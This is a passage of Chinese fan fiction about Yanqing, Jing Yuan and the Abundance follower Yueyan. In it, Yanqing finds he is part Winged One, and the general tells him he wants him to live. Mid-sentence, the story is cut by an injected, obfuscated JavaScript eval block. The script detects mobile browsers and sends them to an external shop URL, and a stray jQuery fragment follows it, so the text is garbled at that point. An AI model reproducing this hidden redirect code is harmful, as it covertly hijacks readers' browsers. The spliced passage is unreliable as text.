那是我在巡猎的战场上第一次看到他,而看到他的第一眼,我就知道他是个什么东西。
“战场很危险,您还是跟随后勤去……”
我把他与周围的空间隔开了。他还在劝说我去避险——我看上去像个普通的游医,孱弱又温顺,他却没想到这样的人好端端站在战场上原本就是不普通的。
这孩子应该不常做这类事,话说得有些生疏。直到路过的云骑同僚穿过他的身体,才发现不对劲。
他抬头看我,灿金的眼瞳尽是茫然,而后迅速转为敌意,举剑指来,杀意由剑尖聚成一点,咄咄逼人,明明还隔着一段距离,却像是可以在我身上戳个洞。
漂亮的眼睛,漂亮的剑,漂亮的杀意。
“你是谁?”少年嗓音调高,被他压低,问话的气势有几分唬人。
可我觉得他本应该有更漂亮的东西。
我大概是笑了,不然他不会露出那样像是被人瞧不起而愤怒的小孩神情。
“你可以来找我。”我想要摸他的脑袋,被他避开,他顺势挥剑,却被我的树藤卡住。
“丰饶……”他面露惊骇。
“嗯,丰饶。”我顺从地应和。
“孽物!”
少年人的怒意火苗一样窜得飞快,霎时出现的六把飞剑将我包围,却被凭空生长的巨树挡住。我想他的武器应当不凡,不然在见我轻松挡住时他不至于如此慌乱,可我的树同样不凡。
树身从中心裂开一道缝,而后现出一个大洞,我走进洞里,顺便解开了空间阻隔的术法。
他踏着剑就要冲过来,却因为能重新被人看见了,路过的云骑拦住他:“骁卫大人,将军在找你呢!”
“可、我!”
那个洞连着大树在彦卿眼前瞬息消失,诡异的游医也不见了,只留下那句似是而非的话:
“只要你想,就能找到我。”
巡猎的将军吗?
还真是出乎意料。口口声声说“孽物不除,巡猎无已”,这不是还养了一个嘛。
我离开那片战场,在星海漫无目的地游荡,就像多年前离开那艘大船,从此只为美好的丰饶而活一样。
路过一片地方,救活一片地方。我无休止地歌颂慈怀药王的无私仁慈,直到某天,听到那个孩子的心象。
我当如神明一般现身,为这个孩子抚去伤疤,让他成为丰饶新的信众。可我没有,我只是像上次一样很普通地出场,因为这个孩子是特殊的,他有特权,我在他身上看见那段自己尚未醒悟的懵懂时光。
他叫我来,却一言不发。我索性自己观察:
周围很黑,空间也狭窄,忙碌的机巧运作音从中间的缝隙传进来,跟着可怜的几丝光照一起。我翻出自己几百年前的记忆——那时我尚住在仙舟,猜测这里大概是码头,我和他待在一个大货箱里。
我试探着拉开一点货箱的门,裤脚传来轻微的拉扯力,似乎轻易就能甩开——是那孩子,他请求我不要开门。
“一点点?”我轻轻哄他,他没反应。
我试探着、慢慢地拉开,依然是几不可察的一道缝,光照流泄进来,比起刚才已然明亮许多,我看清他现在的样子:
抱腿缩在角落,感受到光后又往角落缩了缩,不肯抬头,看不到眼睛。衣服松垮,像是披着外袍就跑出来了,金色长发比上次见时长了很多,散落在地,又被翅膀胡乱压住。
对,翅膀。
我看到那双翅膀,心下道声果然。
锐利的骨、纤长的羽、美好的颜色,正是属于造翼者的翅膀。翅膀宽大又长,衣袍遮不住,伸到两边箱壁只好折叠起来放,货箱也显得拥挤,我想象不出那对翅膀在阳光下展开会有多漂亮,除非这孩子愿意现在飞出去给我看。
但这必不可能。
不,有什么不可以呢?
彦卿不知道自己是什么心情。懊恼、恐惧、担忧、羞耻混杂在一起,说不出来,唯独困惑的心情格外清晰。
翅膀……
那时他还在战场上,受了伤,鲜红的血液自额头往下流,遮掩视线。世界仿佛都被红光笼罩,透过血迹,他看到同伴惊讶恐慌的神情,晕晕乎乎低头,他看到那对翅膀。
敌人的?
不对,是我的。
白羽上染上大片的红,彦卿如此清晰地感知到,那是自己的器官,正顺从他心地颤抖着。
他晕过去,醒来便在自己的房间里,行动受限,于是更多时间用来思考:
我是什么?
我是造翼者和仙舟人的混血;
我是不能轻易放出的怪物;
我是丰饶孽物。
“孽物不除,巡猎无已。”(注1)
我应该被除掉。谁来除掉我呢?
我应该去死吗?
他如此困惑着,困惑着,掩着身形从房间里跑了出来。
走正路太容易被发现,他蒙着外袍,从上空飞出去,翅膀没有很听他的话,飞一段就要停一段,还要躲空中的星槎。他依然迷恋飞行的感觉,可如果死掉了,就不能飞了。
应该去死吗?
依然困惑着,在这样的困惑中,那个人无声无息出现在他眼前,幽灵一样,和他一样。
我心情很好地坐下,顺手摸了两把翅膀,彦卿没抬头,翅膀“啪啦”一掀,在我手上留下几道血痕。
种族变了,境况变了,唯独这生气干架的气势没变。我觉得好笑,兴致勃勃跟他分享我的故事。
上次见面后,我稍微调查一下就知晓了这孩子的大致情况,该说是仙舟那边太不加遮掩呢?还是太过于傲慢呢?
彦卿,十四岁,云骑军史上最年轻的骁卫,罗浮将军近卫,剑胎武骨、天资过人,目标直指下任剑首。
哎呀哎呀,这样的孩子,却是造翼者和仙舟人的混血呢。
我十分期待接下来的发展,这个故事开头就让我乐了好些天,如今我也不吝于和他分享:
“造翼者,骁卫大人在仙舟大敌名录中应当见过?”
他不理我,但没关系,我很擅长自说自话。
“据我观察,你大概是造翼者中的‘卫天种’,啊,别的倒也不是没可能。”
“只是‘穹桑’覆灭后,那些称谓都不复存在了。”
我曾经目睹穹桑的陨落,毁灭的铁蹄顷刻间将那颗美丽的树状行星化为乌有,而仙舟出于「诛除孽物」的信条旁观目睹了全过程。
我停下,等着看他的反应。
他动了,抬头的动作相当缓慢,看向我,眼珠动得也很迟钝,一片灰败,照不进光。
我看不出他想问什么,但至少他的反应取悦了我,我乐意友好地告诉他全部。
“然后我就走了,离开仙舟,为了寻求‘长生种的最终意义’。”
我找到了,那是几千年过去依然令人心悸的奇迹——一位伟大的丰饶令使,瞬息救活一整个死灭的星球。而且那绝非是仅此一次的神迹,那是丰饶、丰饶啊,无私地在宇宙播撒生机。
对面的孩子愣愣地看着我,不知道有没有听进去。我喜欢他的金色,眼下这般姿态又实在惹人怜爱。
“你要不要跟我一起呢?「丰饶」接纳所有人,”我向他提议,“而「巡猎」会驱赶你,因为你现在是‘丰饶孽……’”
话没说完,货箱被“唰”一下拉开了,人造光大片大片照进来,我看见少年眼睛猛地睁大,继而低下头,惶恐地往角落缩,货箱却只有那么大,阳光照在小腿上,苍白得近乎透明。
我提醒他:“用翅膀。”
那对翅膀才后知后觉地向中间合,把人密不透风地拢住,速度慢得像是新长出来的器官。
确实,应该真是新长出来的。
“阁下是不是太粗暴了?”来者是罗浮的将军,若非情况不对,我真乐意沏上一壶好茶和他聊聊天,虽说他未必乐意跟我聊。
白发金瞳的将军原本在看彦卿,听到声音冷冷扫了我一眼,躬身走进来,顺手将货箱掩好。
货箱内重归黑暗,空间因着第三个人的加入更显逼仄,罗浮将军盘腿坐到那孩子面前,没有人说话。
在我的调查中,这两人既是师徒,又近似养父子,一个崇敬着追随另一个的足迹,一个殷切着期盼另一个的未来。如此关系,这般情况,又该作何反应呢?我盘腿坐在角落,饶有兴趣地观察起来。
“彦卿,我们回家?”
仙舟的仁慈与残酷从来是并存的,就如眼前温言细语哄孩子的将军,就如货箱外手持兵戈严阵以待的士兵。啊,真是熟悉的虚伪。
柔软的孩子看不透这虚伪,却拥有惊人的直觉,比如此刻,他知晓对方口中所言不过是美好的愿景,他早已回不了家。
“将军,”久未开口,彦卿的嗓音十分干涩,说一句话都显得很困难,然而他却一直说,“彦卿是,造翼者。”
是什么力量推动他说这些呢?
“彦卿过去,杀过许多造翼者。”他一直低着头。
景元伸出手,想要碰碰他家小孩的头,最终还是没有这么做:“你在为杀害同族难过?是我允你上阵,你在怨恨我吗?”
彦卿抬起头看他,摇头否认了,货箱内一片漆黑,看不见表情,只听见他喃喃道:“彦卿只是,不知道该怎么办……”
“将军?”他很困惑,伸手试探着摸索,语气很小心地询问,“杀了彦卿?”
密闭的货箱内,空气本就不流通,在那一瞬间像是静止了。我看着那个僵着没动的背影,兴致勃勃地想象他的心情,如果我会占测
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332671|199178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,倒是可以卜算一番?可惜我只是一个游医而已。
我凑过去,非常不长眼色地在这个时候给那孩子治伤——不知是几时留下的伤口,看上去裂了好几回,不过没关系,我有丰饶……
“离他远点。”
身侧这人的声音冷得像是能掉落一地冰渣,我回头,正对上他叫出那个两千多年都没被叫过的名字——“月偃。”
狐人月偃,飞行士月偃,曜青仙舟天舶司司舵月偃,同时,也是《倏忽垂迹妙法秘传灵书经》著者月偃,药王秘传第一位魁首月偃。
嗯嗯,我笑眯眯应了。
“你是狐人,却已活了两千余岁。”
我摊手,知晓他此时质问我,不过是在发火:“有什么不可以呢?”
没法对孩子发火就对我发火,无妨,药王慈怀,我不生气。
景元其实没有生气,只是如今的彦卿承不起风险,更别说来历不明的丰饶力量——现在是造翼者和人的混血,倘若接受了那力量,又会变成什么呢?
在他的设想里,本不至于发展到如此地步,至少不会让彦卿在战场显露那对翅膀,直面同僚和敌人惊愕的目光。明明没有背叛,却莫名其妙成了两边的叛徒。
景元思绪纷乱,感受到原本拉扯的力道收回去了,低头。
此前彦卿在黑暗中摸索,顺手就抓住他腰侧悬着的那支笔。彦卿喜欢抓那支笔。
他刚捡到彦卿时,小孩子只有那么高,伸手只能够到那个高度——抓披风、抓裤腿、抓笔;然而又实在太轻,景元行动时都感觉不到——抓着披风,他一个弯腰,小孩子就被双脚悬空带起来;抓着裤腿,他一个迈步,就带着树袋熊一样的小孩一起走了,要走上一段才能发现。
所以最后彦卿还是喜欢抓笔,一抓景元就能感觉到,看见大人低头了就弯起眼咧开嘴笑。
于是低头的大人就对上自家孩子一双笑眼,也笑,忙的话就指指公文摸摸头,彦卿自觉走开;不忙的话就问“怎么了”。
“怎么了”一出,小小的孩子就知晓自己得了许可,叽叽喳喳地开始分享:彦卿今天看到什么,彦卿今天学到什么,彦卿今天想要什么,彦卿明天想要什么……
他时常觉得,时间对于不同人来说厚度不一,对于小孩子来说,大概是无法想象、也无需想象其终点般的厚重。
彦卿有长生种的自觉,他或许设想过自己一百岁两百岁时的样子,或许会计算自己还有多久才能赶上那些传奇人物,从来没想过要去死,现在却这样想了,开口向他请求了。
这是他的孩子。
不是造翼者的孩子。
他的孩子才在世上活了十几年,怎么就不能继续活了?谁说的不能?
是可以的。有什么不可以呢?
彦卿收回了抓笔的手。
“万般皆是命,半点不由人。”那将军半天没说话,我摇头晃脑唏嘘。
两个人都没理我。
许久,那位将军开口了,似乎拿出什么东西,动作间带着叮咚叮咚的响声:“如果在巡猎的战场上,你站在对面,我会杀了你,彦卿。”
他取出一把长命锁。小孩子爱跑爱跳还要飞,甭说饰品,早些时候连加件衣服都要人哄着,这把锁却听他的话,一戴就是许多年。
你并没有以丰饶的立场杀害过任何人。
哪怕是仙舟,你也并不是没有立足之地。只是这样或许会过得很辛苦,去外面转转也好。
星海远超你想象的浩瀚。
彦卿抬头看他,浅金的眼瞳眸光依然摇晃,看着并不十分清醒。将军的金瞳颜色更深,看进去时,正像眺望一片星海。
“彦卿就是彦卿,先是彦卿,之后才是其他身份。”
你的世界会被重塑,巡猎的标准已经不再适合你,你需要凭借自己的意志判断敌人或朋友,走出不常有人走的、只属于你的路。但这不代表你不能活下去。
年长者一刻不停地说,像是以后就没机会说了。
“没有什么应该做,即使是我告诉过你的,即将告诉你的,也只是我希望。”
他将长命锁重新挂上孩子外袍心口处,因着那对翅膀,衣服已经不合身了。
“我希望你活着。”
我希望你活过今年,活下一年、十年、百年,百年又百年,长长久久健健康康地活着。
总有人希望你活下来,很多人希望你活下来。活下来,然后去往星海吧。
我走了,在那个将军的阵刀挥过来之前。
“你还是可以找我哦。”
我站在树缝中笑笑,没等来他任何反应。
那孩子沉默着起身,伸手一把拉开了货箱的推拉门,天光重新落在他身上,翅膀缓缓展开,洁白的羽翼如同缀了碎金般闪亮。